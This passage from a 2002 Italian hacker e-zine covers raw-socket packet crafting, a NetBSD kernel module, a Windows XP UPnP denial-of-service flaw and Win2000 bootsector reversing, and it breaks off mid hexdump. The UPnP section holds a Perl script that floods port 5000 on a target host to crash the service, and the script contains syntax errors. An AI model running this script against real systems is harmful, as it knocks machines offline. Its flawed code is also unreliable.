pacchetto e stamparne il risultato. Ho | | creato dei programmini nella seguente | | sezione in modo che tu possa verificare di | | aver capito bene. | | | | Suggerimento: man recv | | | | buona fortuna | | | | | | -----[ Conclusioni ]--- | | | | | | | | | | Ho fatto il meglio che potevo per creare | | un testo completo e buono sulla programmazione delle | | raw socket. Spero che il testo ti sia piaciuto e sono | | sicuro che ti abbia aiutato nel capire come codare | | con le raw socket. Questo documento mi ha aiutato | | a capire delle cose di cui non ero sicuro e ad | | imparare delle cose che non avevo mai sentito prima. | | Infine, vorrei approfittare di questo momento per | | dire ufficialmente che in breve tempo rilascerò un | | portscanner simile a nmap. Sto provando a migliorarne | | la velocità e lo stile di codifica per renderlo più | | leggibile a persone "ordinarie" come me. Questo | | progetto è chiamato ESCAN ed include molte funzioni | | come: connect scan, stealth, half open, decoys, | | logging. Una versione beta dovrebbe essere rilasciata | | il prima possibile. Per seguire lo sviluppo: | | http://www.exile2k.org | | | | | | | | | | [ Appendice A ] | | (Strutture e Funzioni) | | | | | | | | | | | | | | ---[ STRUTTURA HEADER IP | | | | | | | | struct iphdr { | | | | #if __BYTE_ORDER == __LITTLE_ENDIAN | | unsigned int ihl:4; | | unsigned int version:4; | | #elif __BYTE_ORDER == __BIG_ENDIAN | | unsigned int version:4; | | unsigned int ihl:4; | | #else | | # error "Please fix " | | #endif | | u_int8_t tos; | | u_int16_t tot_len; | | u_int16_t id; | | u_int16_t frag_off; | | u_int8_t ttl; | | u_int8_t protocol; | | u_int16_t check; | | u_int32_t saddr; | | u_int32_t daddr; | | /*The options start here. */ | | }; | | | | | | | | | | | | | | ---[ STRUTTURA PSEUDO HEADER | | | | | | | | struct pseudohdr { | | unsigned long saddr; | | unsigned long daddr; | | char useless; | | unsigned char protocol; | | unsigned short length; | | }; | | | | | | | | | | | | ---[ STRUTTURA HEADER TCP | | | | | | | | | | struct tcphdr { | | __u16 source; | | __u16 dest; | | __u32 seq; | | __u32 ack_seq; | | #if defined(__LITTLE_ENDIAN_BITFIELD) | | __u16 res1:4, | | doff:4, | | fin:1, | | syn:1, | | rst:1, | | psh:1, | | ack:1, | | urg:1, | | res2:2; | | #elif defined(__BIG_ENDIAN_BITFIELD) | | __u16 doff:4, | | res1:4, | | res2:2, | | urg:1, | | ack:1, | | psh:1, | | rst:1, | | syn:1, | | fin:1; | | #else | | #error "Adjust your defines" | | #endif | | __u16 window; | | __u16 check; | | __u16 urg_ptr; | | }; | | | | | | | | | | | | ---[ STRUTTURA HEADER UDP | | | | | | | | struct udphdr { | | __u16 source; | | __u16 dest; | | __u16 len; | | __u16 check; | | }; | | | | | | | | | | | | ---[ STRUTTURA HEADER ICMP | | | | | | | | | | struct icmphdr { | | __u8 type; | | __u8 code; | | __u16 checksum; | | union { | | struct { | | __u16 id; | | __u16 sequence; | | } echo; | | __u32 gateway; | | struct { | | __u16 __unused; | | __u16 mtu; | | } frag; | | } un; | | }; | | | | | | | | | | | | ---[ FUNZIONE PER IL CALCOLO DEL CHECKSUM | | | | | | | | | | /* | | * in_cksum -- | | * Checksum routine for Internet Protocol | | * family headers (C Version) | | */ | | unsigned short in_cksum(unsigned short *addr, int len) | | { | | register int sum = 0; | | u_short answer = 0; | | register u_short *w = addr; | | register int nleft = len; | | | | /* | | * Our algorithm is simple, using a 32 bit accumulator (sum), we add | | * sequential 16 bit words to it, and at the end, fold back all the | | * carry bits from the top 16 bits into the lower 16 bits. | | */ | | while (nleft > 1) | | { | | sum += *w++; | | nleft -= 2; | | } | | | | /* mop up an odd byte, if necessary */ | | if (nleft == 1) | | { | | *(u_char *) (&answer) = *(u_char *) w; | | sum += answer; | | } | | /* add back carry outs from top 16 bits to low 16 bits */ | | sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ | | sum += (sum >> 16); /* add carry */ | | answer = ~sum; /* truncate to 16 bits */ | | return (answer); | | } | | | | | | | | | | | | | | | | ----[ Codici sorgente | | | | | | /********************************************************************/ | | /* */ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione costruisce un pacchetto ICMP (PING) */ | | /* includendo l'header IP */ | | /* */ | | /* */ | | /* */ | | /* */ | | /********************************************************************/ | | | | | | #include | | | | #include | | #include | | #include | | #include | | #include | | | | | | | | | | unsigned short in_cksum(unsigned short *addr, int len); | | | | | | int main(){ | | | | int sock, optval; | | char *packet, *buffer; | | | | struct icmphdr *icmp; | | | | struct sockaddr_in peer; | | struct iphdr *ip; | | | | | | ip = (struct iphdr *) malloc(sizeof(struct iphdr)); | | icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); | | packet= (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); | | buffer= (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)); | | | | | | ip = (struct iphdr *) packet; | | icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); | | | | | | ip->ihl = 5; | | ip->version = 4; | | ip->tos = 0; | | ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); | | ip->id = htons(getuid()); | | ip->ttl = 255; | | ip->protocol = IPPROTO_ICMP; | | ip->saddr = inet_addr("127.0.0.1"); | | ip->daddr = inet_addr("127.0.0.1"); | | | | | | sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP); | | setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int)); | | | | icmp->type = ICMP_ECHO; | | icmp->code = 0; | | icmp->un.echo.id = 0; | | icmp->un.echo.sequence = 0; | | icmp->checksum = 0; | | | | icmp->checksum = in_cksum((unsigned short *)icmp,sizeof | | (struct icmphdr)); | | | | ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); | | | | | | | | peer.sin_family = AF_INET; | | peer.sin_addr.s_addr = inet_addr("127.0.0.1"); | | | | sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&peer,sizeof | | (struct sockaddr)); | | | | recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0); | | printf("Ricevuto l'ECHO REPLY\n"); | | | | close(sock); | | return 0; | | } | | | | | | | | | | | | | | | | | | /********************************************************************/ | | /* */ | | /* Exile 2000 International Coding Team */ | | /* (http://www.exile2k.org) */ | | /* All rights reserved Exile Team */ | | /* Copyright 2000 (C) Nitr0gen */ | | /* */ | | /* Questa funzione csotruisce un pacchetto UDP */ | | /* includendo l'header IP ed inviandlo al server echo locale */ | | /* */ | | /* Per far funzionare il programma abilita il server echo: */ | | /* */ | | /* - pico /etc/inetd.conf */ | | /* - Elimina i simboli del commento dalla riga */ | | /* dell'echo server (udp one) */ | | /* - killall -HUP inetd */ | | /* */ | | /* */ | | /* */ | | /* */ | | /********************************************************************/ | | | | | | #include | | | | #include | | #include | | #include | | #include | | #include | | | | | | | | | | unsigned short in_cksum(unsigned short *addr, int len); | | | | | | | | int main(){ | | | | int sock, optval; | | char *packet, *buffer; | | | | struct udphdr *udp; | | struct pseudohdr { | | unsigned long saddr; | | unsigned long daddr; | | char useless; | | unsigned char protocol; | | unsigned short length; | | }pseudo; | | | | struct sockaddr_in peer; | | struct iphdr *ip; | | | | | | ip = (struct iphdr *) malloc(sizeof(struct iphdr)); | | udp = (struct udphdr *) malloc(sizeof(struct udphdr)); | | packet = (char *) malloc(sizeof(struct iphdr) + | | sizeof(struct udphdr) + 12); | | buffer = (char *) malloc(sizeof(struct iphdr) + | | sizeof(struct udphdr) + 12); | | | | | | ip = (struct iphdr *) packet; | | udp = (struct udphdr *) (packet + sizeof(struct iphdr)); | | | | | | ip->ihl = 5; | | ip->version = 4; | | ip->tos = 0; | | ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) +12; | | ip->id = htons(getuid()); | | ip->ttl = 255; | | ip->protocol = IPPROTO_UDP; | | ip->saddr = inet_addr("127.0.0.1"); | | ip->daddr = inet_addr("127.0.0.1"); | | | | | | sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP); | | setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int)); | | | | pseudo.saddr = inet_addr("127.0.0.1"); | | pseudo.daddr = inet_addr("127.0.0.1"); | | pseudo.useless = htons(0); | | pseudo.protocol = IPPROTO_UDP; | | pseudo.length = sizeof(struct udphdr) + 12; | | | | | | udp->source = htons(5000); | | udp->dest = htons(7); | | udp->len = htons(sizeof(struct udphdr) + 12); | | udp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct udphdr) | | + sizeof(struct pseudohdr) + 12); | | | | ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); | | | | | | strcpy((packet+sizeof(struct iphdr) + sizeof(struct udphdr)), | | "Hello World"); | | | | peer.sin_family = AF_INET; | | peer.sin_addr.s_addr = inet_addr("127.0.0.1"); | | peer.sin_port = htons(7); | | | | sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&peer,sizeof | | (struct sockaddr)); | | | | recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct udphdr)+13,0); | | | | buffer += (sizeof(struct iphdr)+sizeof(struct udphdr)); | | printf("Reply from Echo server:\t%s\n",buffer); | | | | close(sock); | | return 0; | | } | | | | [ Riferimenti ] | | | | | | | | Tcp/Ip Illustrated Volume 1 (The Protocol) | | By W. Richard Stevens (Addison Wesley) | | | | Tcp/Ip Illustrated Volume 2 (The implementation) | | By Gary R. Wright and W. Richard Stevens (Addition Wesley) | | | | Dai un'occhiata qui: | | | | http://www.exile2k.org Exile Team home page | | http://www.hexedit.com HNS home page | | http://www.eEyes.com eEyes home page | | | | | | | | [ Ringraziamenti ] | | | | | | | | Special thanx to: | | My Exile team bro's: Mayhem(Tutu rose emulator), | | Rix(Assembly wh0re), | | Kraken(Saleter dhypee), | | Ehoba(Pas toi!!!), | | Liks(Erm...) | | | | or Europeen wh0res kinda synonyms =] | | ---> keep it kool guys! | | | | #rhino9 peeps: Colonwq(Gotta learn you howto drink), | | Hexedit(Lucky to be yourself), | | Binf(Mon mentor de hacking y0), | | Klog(Bleh j00), | | zorkeres(Still sickshit addict?), | | RcLocal(The french skill0rz), | | and others | | | | People who supported me even if i was newbie: Utopiste, | | Wyzeman... | | | | ~ My parents who made it possible during 1982's night... ~ | | | | God bless people i forget... | | | | | | | | | | | | Nitr0gen Exile Team 2000 Rock on! | | nitr0gen@hackersnews.com | | | | | | Tradotto da XpTerminator: | | | | spero proprio di aver tradotto bene... | | per qualunque genere di errore segnalate a: | | | | xp_terminator@katamail.com | | http://xpterminator.cjb.net | | | | Ciao a tutti! | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | USELESS NETBSD M0DULE [_beb0s_] 0x12/0x1D | +--------------------------------------------------------------------------+ | | | -----BEGIN PGP SIGNED MESSAGE----- | | Hash: SHA1 | | | | - --- -- - - -[ 'hello world' from a netbsd kernel module ]- - - -- --- | | - --- -- - - - _ ovvero il modulo inutile _ - - - -- --- | | -[ beb0s at autistici dot org ] - | | | | [ prefazione ] | | | | salve! sono un utente netbsd da circa 1 mese e provengo da felicissimi | | anni passati con linux. dato che mi piacciono le cose semplici, ho | | subito scaricato le sorgenti del kernel e ho cominciato a smanettarci | | un po'. ecco cosa ne e' venuto fuori :) | | | | [ avvertenza ] | | | | sia ben chiaro : non sono un kernel-hacker ne' uno che se ne intende | | queste cose le ho imparate in una notte e ve le comunico cosi' come le | | ho capite, giuste o sbagliate che siano | | | | [ 'hello world' from a netbsd kernel module ] | | | | dato per scontato che sappiate gia' cosa e' un kernel, i moduli [ | | precisamente LKM ( LOADABLE KERNEL MODULES ) ] non sono altro che | | pezzi di codice eseguibile che posso essere inseriti o rimossi mentre | | il kernel e' in esecuzione, senza bisogno di riavviare la macchina o | | ricompilare tutto quanto. gli lkm sono molto utili, dato che rendono | | possibile caricare i driver per l'ultimo dispositivo strano, per il | | nuovo filesystem superjournaled oppure anche applicare patch di | | sicurezza direttamente nel kernel senza dover distruggere un uptime da | | record. (chi usa OS in cui per configurare il mouse bisogna riavviare | | non credo che capiranno). | | | | a differenza di quanto accade con linux, netbsd distingue 5 tipi di | | moduli ognuno per un particolare compito : | | *) system call modules | | *) virtual file system modules | | *) device driver modules | | *) execution interpreters modules | | *) miscelaneous modules | | questa suddivisione serve solo per far si che il modulo si inserisca | | automanticamente nelle tabelle appropriate (tra i filesystem per es). | | il nostro modulo, in quanto inutile o semplicemente perche' non | | abbiamo ancora chiaro cosa diverra' in futuro, sara' un miscelaneous | | module. sara' dunque compito nostro far conoscere la nostra esistenza | | al resto del kernel (se e quando ne avremo bisogno). | | | | per avere qualcosa come riferimento da cui partire possiamo cercare in | | /usr/share/lkm dove ci sono alcuni moduli esemplificativi. sulla base | | di quanto trovato sopra, proviamo a creare in nostro primo modulo | | inutile. per ora ci basta che compili e che si inserisca (e rimuova) | | correttamente. una versione minimalista del nostro modulo inutile | | suona piu' o meno cosi'. | | | | <-- cut here - start - [useless_module.c] - --> | | | | #include /* tutti questi include sono sicuramente */ | | #include /* sovrabbondanti per i nostri scopi, ma */ | | #include /* per ora teniamoli tutti non si sa' mai*/ | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | | | MOD_MISC("useless") /* questa e' una macro che si trova in */ | | /* sys/lkm.h che crea una struttura che */ | | /* indentifica il nostro modulo */ | | | | /* | | * la funzione che sara' l'entry-point per il nostro modulo deve | | * avere come nome il nome del modulo con suffisso _lkmentry | | * in questo caso il file del modulo si chiamera' useless.o | | * e quindi qui ci va' : | | */ | | | | useless_lkmentry(lkmtp, cmd, ver) | | struct lkm_table *lkmtp; /* qui ci sono informazioni sul | | nostro modulo (vedi sys/lkm.h */ | | int cmd; /* LOAD o UNLOAD ? */ | | int ver; /* la versione del kernel */ | | { | | DISPATCH(lkmtp, cmd, ver, lkm_nofunc, lkm_nofunc, lkm_nofunc) | | } | | | | <-- cut here - end - [useless_module.c] - --> | | | | DISPATCH e' una macro che si occupa di smistare i comandi di load, | | unload e stat alle relative funzioni. in tutti i tre i casi, dato che | | il nostro e' un modulo inutile, appare lkm_nofunc che e' una funzione | | (definita in kern/kern_lkm.c) che non fa' altro che ritornare 0. il | | codice di DISPATCH non e' complesso (lo si puo' vedere, come al | | solito, in sys/lkm.h), possiamo vederlo qui : | | | | #define DISPATCH(lkmtp,cmd,ver,load,unload,stat) \ | | if (ver != LKM_VERSION) /* controlla la versione del kernel */ \ | | return EINVAL; /* auttualmente in esecuzione */ \ | | switch (cmd) { /* gestisce le varie funzioni e i */ \ | | int error; /* relativi codici di errore */ \ | | case LKM_E_LOAD: \ | | lkmtp->private.lkm_any = (struct lkm_any *)&_module; \ | | if ((error = load(lkmtp, cmd)) != 0) \ | | return error; \ | | break; \ | | case LKM_E_UNLOAD: \ | | if ((error = unload(lkmtp, cmd)) != 0) \ | | return error; \ | | break; \ | | case LKM_E_STAT: \ | | if ((error = stat(lkmtp, cmd)) != 0) \ | | return error; \ | | break; \ | | } \ | | return lkmdispatch(lkmtp, cmd); | | | | ora proviamo a compilarlo: | | | | biesdi: {20} cc -D_LKM -D_KERNEL -I/sys -c useless_module.c | | biesdi: {21} ld -r -o useless.o useless_module.o | | | | le opzioni -D_LKM -D_KERNEL passate al compilatore definiscono i | | simboli _LKM e _KERNEL i quali fanno si' che i codice (per es gli | | include) sappia che stiamo programmando un modulo che sara' inserito | | nel kernel. l'opzione - -r, passata invece al linker, fa' si che sul | | nostro codice oggetto venga fatto solo un partial linking; al | | caricamento del modulo, modload fara' il linking definitivo con le | | routine del kernel. | | proviamo: | | | | biesdi: {22} su | | Password: | | biesdi: {1} modload useless.o | | Module loaded as ID 0 | | biesdi: {2} modstat | | Type Id Off Loadaddr Size Info Rev Module Name | | MISC 0 0 c4ed0000 0004 c4ed00e0 1 useless | | biesdi: {3} modunload -n useless | | | | ... iauuuuu ! .... | | | | ora vediamo di rendere meno inutile il nostro modulo: facciamoci | | mandare dei saluti dal profondo del kernel :) aggiungiamo due funzioni | | che verranno chiamate quando il modulo viene inserito e rimosso, | | queste funzioni dovranno ritornare 0 in caso di successo e in un | | numero diverso da zero (generalmente si segue errno.h) in caso di | | errore (nel nostro caso mai). | | | | ecco il codice aggiornato: | | | | <-- cut here - start - [useless_module_2.c] - --> | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | | | MOD_MISC("useless") | | | | int useless_load(lkmtp, cmd) | | struct lkm_table *lkmtp; | | int cmd; | | { | | printf("hello world!\n"); | | printf("i'm in the kernel now\n"); | | return 0; | | } | | | | int useless_unload(lkmtp, cmd) | | struct lkm_table *lkmtp; | | int cmd; | | { | | printf("good bye kernel\n"); | | printf("i'm leaving now\n"); | | return 0; | | } | | | | useless_lkmentry(lkmtp, cmd, ver) | | struct lkm_table *lkmtp; | | int cmd; | | int ver; | | { | | DISPATCH(lkmtp, cmd, ver, useless_load, useless_unload, lkm_nofunc) | | } | | <-- cut here - end - [useless_module_2.c] - --> | | | | compiliamolo esattamente come prima, e carichiamolo nel kernel. | | compiacetevi. | | biesdi: {26} cc -D_LKM -D_KERNEL -I/sys -c useless_module.c | | biesdi: {27} ld -r -o useless.o useless_module.o | | biesdi: {28} su | | Password: | | biesdi: {1} modload useless.o | | Module loaded as ID 0 | | biesdi: {2} modstat | | Type Id Off Loadaddr Size Info Rev Module Name | | MISC 0 0 c4ed6000 0004 c4ed6178 1 useless | | biesdi: {3} modunload -n useless | | | | okkio che l'output andra' a finire sulla console, quindi se come me | | usate X doveste leggere i saluti su xconsole, infatti : | | | | Console log for biesdi.shacknet.nu | | hello world! | | i'm in the kernel now | | good bye kernel | | i'm leaving now | | | | ok siamo arrivati alla fine (delle mie conoscenze :-P), appena capiro' | | qualcosa di nuovo faro' un'altra puntata della saga. | | | | [ raccomandazioni ] | | | | come sempre, le solite raccomandazioni : a) se distruggete i vostri | | dati smanettando con i moduli o vi suicidate perche' non ricevete | | nessun 'hello world!' non sono responsabile ne' dei vostri dati ne' | | della vostra vita b) non credete cecamente a quello che ho scritto ci | | saranno un numero impressionante di errori o grosse cazzate c) ecc ecc | | ecc | | | | per insulti, informazioni, complimenti o precisazioni varie cercatemi | | via email. ciao a tutti. | | | | _beb0s_ | | | | beb0s at autistici dot org - beb0s at sdf dot lonestar dot org | | Key fingerprint = 6A2E 43A9 31F4 B619 B4C4 EBBD 5E81 35A1 148C CF72 | | | | [ fine ] o meglio | | . | | | | -----BEGIN PGP SIGNATURE----- | | Version: GnuPG v1.0.4 (NetBSD) | | Comment: For info see http://www.gnupg.org | | | | iD8DBQE8TI3QXoE1oRSMz3IRAgqLAKDSBPMKJSNNw2pdGko6LFZMCTaVIACfViYI | | mqO/4s5EAkUF6dq7SOOh/lE= | | =eWZ/ | | -----END PGP SIGNATURE----- | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | iL BUG DEL UPNP [e4m] 0x13/0x1D | +--------------------------------------------------------------------------+ | | | --- e4m - Www.bfc.too.it - BlackForceCrew - Tezkatlipoka@libero.it --- | | | | Questo articolo l'ho scritto per la mitika OndaQuadra =) | | JeyOne ..questo e' o non e' un articolo inedito? | | Prima di iniziare un saluto alla mia amata Crew #Bfc | | Www.Bfc.too.iT | | ..e a tuttE quellE ke mi conoscono! | | Vabbe' senza offese saluto a tutti! | | Dove mi trovate? bhe /Whois e4m | | ..Tante belle cose,ora inizio! | | Allora ,avete gia provato Xp? Siete gia | | inciampati in uno dei suoi infiniti buchi? | | Bhe io ne ho scovato uno | | moolto carino (con due oo) che permette di crashare il kernello!! | | Non vi azzardate a farlo ..perche' e' da lamah! | | Bene se siete testardi come un mulo,volete rimanere con WindozzoXp | | fatelo pure perche' vi spiego anche come rimediare a questa falla :) | | | | Ricordati (Le vie del signore sono infinite) ... | | ( I buchi di windowsXp ...anche) ehhe, | | apparte gli scherzi ora si fa sul serio !! | | Posso affermare che questa volta Win Nt e 2k Sono immuni | | al difettaccio, | | ma tutti gli altri casa micrososftz lo sono eccome! | | Questo problema ha un nome ben definito "uPNP" (UniversalPlugAndPlay) | | si si avete capito bene quello che in Linux si kiama (Plug and Pray) | | Aggancia e prega!..Questo componente in Win ,risulta vulnerabilissimo | | | | al DoS (Denial Of Service) abbastanza "classico" sui sistemi | | Win!! | | Ma soffermiamoci un attimo sul uPNP! | | Tutti sappiamo anche che' e' un componente harware ,costui e' | | stato | | progettato per estendere il concetto di plug'n'play e per consentire | | a | | determinate periferiche di essere riconosciute anche a distanza (es. | | su | | una rete locale=) piuttosto che mediante l'installazione diretta su | | macchina; La cosa pero' che nessuno sa e che quando un componente | | uPNP | | e' installato si aprono due porticine rispettivamente 1900 e | | 5000 in | | Listening (ascolto)! e qui puo' essere lanciato un bell'attacco | | che | | cRaSha sia il kernel mandandolo al 100% di utilizzo | | del | | processore(poverino impazzisce:) e fottere il PNP. | | Come vedere se avete le fatidiche porticine aperte? | | Facilissimo Netstat -a ! | | Passiamo al sodo... | | Tutti conoscete anzi (Dovete conoscere il DoS) | | E' l'attakko piu' banale dell'universo ;) | | Il servizio uPNP si basa sui file (Ssdpapi.dll e Ssdpsrv.exe ) | | esso va in tilt quando arrivano una sequenza di byte sulla 5000: | | Si puo' testare esso aprendo Telnet sulla porta in questione e | | mandando cmd ripetuti del tipo: (Premere enter ripetutamente) | | Cosi provando e riprovando Msvcrt.dll va in crash | | Ora...abbiamo afferrato come funziona ma vi daro' delle | | delucidazioni su | | quanto detto scrivendo un programmino in Perl che invia 50 Byte | | per ogni | | codice della tabella Ascii :P ... | | | | use Socket; | | use Getopt::Std; | | # legge gli argomenti passati con -h | | getopts("h:", \%args); | | print("Dos Ascii Nuke \n"); | | print("Questo programma e' lamer non usarlo!! :)"\n); | | # fino a qui ci siamo , se mancano argomenti lo segnala... | | if (!definited $args{h}) | | { print(" Inserire Ip:\n\n"); | | print(" Usage: DoS.pl -h Ipdestinazione\n\n"); | | exit; } | | # ora cerchera' l'host immessa :) | | $host = $args{h}; | | #Implemento anche del pipe | | $target= inet_aton($host) || die("Host non trovato\n"); | | $porta = 5000 | | # Pausa pipi'... | | { #Set di posibili caratteri ascii (0-255) | | for($i=0;$i<=255;$i++) | | #numeroz di invii per ciascun codice | | { for($c=0;$c<=50;$c++) | | { sendraw(chr($i),"\n"); } | | print("\n\n end!\n\n"); } | | sub sendraw | | { my ($pstr)=@_; | | #Ringazio Elix x questa stringa di inizializzazione | | socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || | | die("errore sock arr...\n"); | | if(connect(S,pack "snA4x8",2,$porta,$target)) | | { my @in; | | select(S); $|=1; print $pstr; | | while (< S >){ push @in, $pstr; | | print STDOUT "." if(definited $args {X}); } | | select(STDOUT); close (S);return @in; } | | else { die("Impossibile stabilire una nukkata :P\n"); } | | } | | | | Fine :) Non dovrei aver fatto errori...Cambiate a vostra scelta le | | variabili per (Generare Ascii) ,(Numero di ripetizione), | | (Porta) | | Rispettivamente $i,$c,$porta . | | Ora sappiamo come Expilotare ora dobbiamo capire come proteggerci... | | #Pausa | | Reboot in windows... | | Rieccomi | | .. ora vi parlero di come protegervi dai lamer ke vi attakkano | | al uPNP | | =) | | ..Procediamo.. | | Potete Trovare la patch qui: | | ity/bulletin/ms01-054.asp | | Oppure tappate in: | | Pannello di Controllo/Installazione Applicazioni | | andate su Istallazione di Windows/ | | rimuovendo il supporto uPNP :) | | Certo cosi' non potrete usare Hardware Pnp ...vi consiglio la | | patch! | | .. Ringrazio Resinaro per avermi tenuto compagnia! ;P | | Elix per un po di Perlo! | | La bfc e OndaQuadra! Alla prossima e rocordatevi /join #Bfc ;) | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | WiN2000 B00TSECT0R REVERSiNG (VERSi0NE FAT 32) [albe] 0x14/0x1D | +--------------------------------------------------------------------------+ | | | Tool usati | | ---------- | | | | - una qualsiasi utility per dumpare un settore del vostro hard disk | | ... io ho usato WinHex (www.winhex.com), un programmino utile anche per | | altre occasioni. | | - Ida (www.datarescue.com), il miglior disassemblatore :) | | | | | | Introduzione (sui bootsector) | | ----------------------------- | | | | Prima di iniziare a guardare il codice, vediamo brevemente cosa è un | | bootsector: a cosa serve, dove si trova, e come funziona. La funzione | | di un settore di boot (bleah, non userò più la traduzione italiana, lo | | prometto) è quella di caricare il sistema operativo. Ogni OS ha un | | proprio bootsector, e due bootsector di due OS differenti, pur avendo | | caratteristiche comuni, posso essere parecchio diversi tra loro. Per | | esempio, un bootsector potrebbe caricare un file binario e lanciarlo; | | un altro invece potrebbe leggere altri settori del disco | | (indipendentemente dal filesystem che verrà usato dall'OS), e passare | | il controllo al codice contenuto in essi. Come ho detto, tutti i | | bootsector devono avere delle caratteristiche comuni, in particolare | | due: devono assumere che CS sia 0x0000 e IP sia 0x7C00 (questo è | | l'indirizzo al quale il bios carica un bootsector, come riportato | | nelle BIOS Boot Spec, anche se sembra che alcuni bios usino CS=0x07C0 | | e IP=0x0000); devono terminare con i byte 0x55 e 0xAA, per essere | | riconosciuti come bootsector validi. Per il resto, in un bootsector ci | | si può piazzare ciò che si vuole (sempre rimanendo entro | | i 510 byte di codice). | | | | Un bootsector di un disco formattato con Fat (12,16 o 32) contiene, a | | partire dall'undicesimo byte, un "Bios Parameter Block" (BPB): una | | serie di informazioni sul disco e sulla Fat. Sono informazioni che | | generalmente servono al bootsector per caricare un file (loader). | | Grazie a questi valori, infatti, si può capire dove si trova la Fat, e | | quindi si può risalire alla posizione di un file sul disco. Il | | bootsector di Win2000, ad esempio, fa uso del BPB per caricare il file | | "ntldr". Vediamo, di seguito, il BPB della Fat32 (una volta caricato | | in memoria): | | | | offset | nome e dimensione | | | | 7C0B BytesPerSector DW ? | | 7C0D SectorsPerCluster DB ? | | 7C0E ReservedSectors DW ? | | 7C10 NumberOfFATs DB ? | | 7C11 RootEntries DW ? ;valore ignorato dalla | | ;Fat32 | | 7C13 TotalSectors DW ? ;grandezza della | | ;partizione in settori | | 7C15 MediaDescriptor DB ? ;0xF8 per gli hard disk | | 7C16 SectorsPerFAT DW ? ;0 nel caso di Fat32 | | 7C18 SectorsPerTrack DW ? | | 7C1A Heads DW ? | | 7C1C HiddenSectors DD ? | | 7C20 BigTotalSectors DD ? | | 7C24 BigSectorsPerFat DD ? | | 7C28 ExtFlags DW ? | | 7C2A FS_Version DW ? | | 7C2C RootDirStrtClus DD ? | | 7C30 FSInfoSec DW ? | | 7C32 BkUpBootSec DW ? | | 7C34 Reserved DW 6 DUP (?) | | | | | | Introduzione (sulla Fat) | | ------------------------ | | | | Per capire ciò che fa il bootsector di Win2000 (sempre riferito alla | | sua versione per Fat32), è bene sapere anche qualcosina sulla Fat. La | | Fat (File Allocation Table) è originariamente il filesystem dell'MS | | -DOS. Le sue componenti principali sono due. | | | | Innanzitutto, c'è una vera e propria "Tabella di allocazione dei | | file", che consiste in un certo numero di "entry" (una per ogni | | cluster sul vostro hard disk (cluster = unità base in cui vengono | | spezzettati e memorizzati i file)); ogni entry (12 bit per la Fat12, | | 16 bit per la Fat16 e 32 bit per la Fat32) fornisce informazioni su un | | determinato cluster (in pratica c'è una corrispondenza biunivoca tra i | | cluster e le entry della File Allocation Table). In particolare, | | leggendo il valore di una entry, si può capire ad esempio se un | | cluster è danneggiato, o se ci troviamo alla fine di un file, oppure | | dove si trova il cluster successivo di un file...oppure ancora se il | | cluster è libero. I valori delle entry (per quanto riguarda Fat32) | | possono essere: | | | | Available 00000000h | | Reserved 00000001h | | User Data 00000002h - 0FFFFFFF6h | | Bad Cluster 0FFFFFFF7h | | End Of File 0FFFFFFF8h - 0FFFFFFFFh | | | | | | Una seconda struttura della Fat è la directory. Per la Fat, una | | directory non è altro che un file un po' speciale; al suo interno ci | | sono alcune informazioni sui file contenuti nella directory stessa. Le | | informazioni sui file sono raggruppate in entry da 32 byte ciascuna, | | ed ogni entry è organizzata in questo modo: | | | | offset | nome e dimensione | | | | 00 FileName DB 11 DUP (?) | | 0B Attributes DB ? | | 0C Reserved DB ? | | 0D Creation (millisecond stamp) DB ? | | 0E Creation Time DW ? | | 10 Creation Date DW ? | | 12 Last Access Date DW ? | | 14 High 16-bit of cluster number DW ? ;solo in Fat32 | | 16 Last Write Time DW ? | | 18 Last Write Date DW ? | | 1A Starting Cluster DW ? | | 1C File Size (in bytes) DD ? | | | | Come funziona il tutto? | | Il filesystem per prima cosa carica da qualche parte un settore di una | | directory (il bootsector di Win2000 caricherà a 8200h un settore della | | directory root). Poi cerca, all'interno di questo settore caricato, la | | entry del file desiderato (confrontando ogni filename). Una volta | | trovata la entry, il filesystem legge il valore "Starting Cluster" (e, | | nel caso Fat32, legge anche il valore "High 16-bit of cluster number") | | e carica il cluster iniziale. A questo punto il filesystem deve sapere | | con quale cluster continuare la lettura del file. Per calcolare il | | cluster successivo, carica il settore della Tabella di allocazione dei | | file all'interno del quale si trova la entry del cluster attuale (il | | bootsector di Win2000 lo carica a 7E00h), legge la entry del cluster | | attuale e ottiene, quindi, il cluster successivo (oppure la fine del | | file, o il bad cluster marker). | | | | Chiarisco con un esempio. Questa è una parte del primo settore della | | mia root directory (sul mio hard disk, è il settore numero 7924): | | | | 4E 4F 4E 41 4D 45 20 20 20 20 20 08 00 00 00 00 NONAME  | | 00 00 00 00 00 00 5B 75 9C 2B 00 00 00 00 00 00 [u£+ | | 4E 54 44 45 54 45 43 54 43 4F 4D 27 18 38 85 75 NTDETECTCOM'8àu | | 9C 2B 9C 2B 01 00 0F 6A 84 2B 02 00 A4 86 00 00 